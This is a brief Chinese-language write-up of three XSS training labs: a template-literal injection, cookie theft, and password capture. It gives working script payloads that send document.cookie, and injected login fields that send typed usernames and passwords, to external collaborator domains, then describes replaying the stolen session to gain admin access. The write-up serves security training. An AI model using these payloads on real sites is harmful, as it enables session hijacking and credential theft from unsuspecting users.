操作均來自靶場,切勿用于未授權滲透測試!
Lab 21:將反射型 XSS 注入帶有尖括號、單引號、雙引號、反斜杠和反引號的 Unicode 轉義模板文字中
輸入的任何單引號雙引號尖括號都會被 unicode 編碼
直接換另一種代碼執行方式${alert(1)}
,被``
反引號包圍的${}
里面可以執行 js 代碼
Lab 22:利用跨站腳本竊取 Cookie
使用 burp 的 collaborator
將復制的域名放到 fetch 中,body 為 document.cookie,就是訪問這個留言板的用戶的 cookie
<script>
fetch('https://jk7skp6xu4wnrqt903qk48whh8nzbrzg.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
之后點擊輪詢可以看到目標向的域名發送的請求,找到一個請求中帶有 secret 和 session 字樣的就是 cookie 信息
訪問 my-account 轉包,將 cookie 替換重放即可登錄管理員賬戶
Lab 23:利用跨站點腳本獲取密碼
這里試試能不能執行<script>
留言板位置找到注入 xss 的位置后,構造獲取對方密碼的請求
<input name=username id=username>
<input name=password id=password type=password onchange="if(this.value.length)fetch('https://sd97jw4bod7qt2pr4x5yersp3g97x0lp.oastify.com', {method: 'POST',mode: 'no-cors',body: username.value+':'+this.value});"><!-- 表單中定義兩個輸入框,一個用戶名,一個密碼的,在密碼輸入框中定義onchange事件,當密碼輸入框的值發生變化,且失去焦點時觸發,就是判斷用戶輸入完成離開輸入框了。
if(this.value.length):檢查輸入框的值長度是否非空(即用戶至少輸入了一個字符)。若為真,則執行 fetch 請求。-->
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d